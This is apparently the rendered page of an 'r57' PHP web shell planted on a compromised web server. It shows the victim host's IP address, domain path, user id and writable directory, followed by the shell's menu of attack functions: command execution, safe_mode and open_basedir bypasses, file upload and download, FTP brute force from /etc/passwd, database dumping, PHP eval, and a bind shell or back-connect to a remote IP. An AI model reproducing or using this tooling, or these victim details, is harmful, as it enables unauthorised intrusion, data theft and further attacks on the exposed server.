o--[ heroes1412 ]--o  04-02-2012 23:07:49  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ brute ]  [ tmp ]  [ deface ]  [ ln -s all ]
  safe_mode: OFF  Open_Basedir: /var/www/vhosts/ess-safeforce.com/httpdocs:/tmp  Safe_Exec_Dir: NONE  Safe_Gid: OFF  Safe_Include_Dir: NONE  Sql.safe_mode: OFF
  PHP version: 5.1.2  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: OFF  Oracle: OFF
  Disable functions : NONE
  Useful: gcc, lcc, cc, ld, php, perl, python, ruby, make, tar, gzip, bzip, bzip2, nc, locate, suidperl, mod_perl, mod_include(SSI)
  Downloaders: fopen, wget, fetch, lynx, links, curl, get
  Free space : 625.15 MB   Total space: 7.32 GB
  Server IP: [ 212.67.222.162 ]   --   Your IP: [ 38.107.179.234 ]
uname -a : 
sysctl : 
$OSTYPE : 
Server : 
id : 
pwd : 
   Linux lvps212-67-222-162.vps.webfusion.co.uk 2.6.18-028stab093.2 #1 SMP Tue Aug 23 16:27:58 MSD 2011 i686 GNU/Linux
   -
   linux-gnu
   Apache
   uid=33(www-data) gid=33(www-data) groups=33(www-data),2522(psaserv)
   /var/www/vhosts/ess-safeforce.com/httpdocs/productImages   ( drwxrwxrwx )
Executed command: ls -lia
:: Execute command on server ::
Run command 4
Work directory 4    
:: read file from vul ini_restore() ::
where file in server 4    
:: Edit files ::
File for edit 4    
:: Test bypass safe_mode with include function ::
Cat file 4    
:: htaccess safemode and open_basedir bypass ::
Run command 4    
:: SSI safe_mode bypass ::
Run command 4    
:: read dir from vul reg_glob ::
read dir 4    
:: read dir from vul root ::
read dir 4    
:: read file from vul curl() ::
where file in server 4    
:: Bypass php 5.2.6 ::
Cat file 4    
:: Bypass php 5.2.9 ::
Cat file 4    
:: Php Bypass ::
Read File
File : 4
View Dir
Dir : 4
:: DeZender ::
Cat file 4    
:: Test bypass safe_mode, copy file via compress.zlib:// in function copy() ::
Copy from 4
to 4    
:: COM functions safe_mode and disable_function bypass ::
Run command 4    
:: Aliases ::
         Select alias 4        
:: Find text in files ::
Find text 4    
In dirs 4 *
Only in files 4*
:: Eval PHP code ::

 
:: Test bypass open_basedir with cURL functions ::
Cat file 4    
:: Test bypass safe_mode with function mb_send_mail ::
Cat file 4    
:: Test bypass safe_mode, view dir list via imap_list ::
Work directory 4    
:: Test bypass safe_mode, view file contest via imap_body ::
Cat file 4    
:: Multy Upload files on server ::
Local file 4
Local file 4
Local file 4
Local file 4
Local file 4
Local file 4
    
:: Upload files from remote server ::
With 4  Remote file 4
Local file 4    
:: Download files from server ::
file 4    
Archivation 4 without archivation zip gzip bzip
:: FTP-bruteforce ::
FTP-server:port 4    
* use username from /etc/passwd for ftp login and password ( Users list )
Use reverse (user -> resu) login for password
:: Databases ::
Dump database table
Type 4
SQL-Server : Port 4 :
Login : Password 4 :
Db . Table 4 .
Save dump in file 4
Run SQL query
Type 4
SQL-Server : Port 4 :
Login : Password 4 :
Database 4
SQL query 4

:: Net ::
Bind port to /bin/bash
Port 4
Password for access 4
Use 4
back-connect
IP 4
Port 4
Use 4
o---[ private r57 shell by heroes1412 ]---o
Generation time: 2.0572 seconds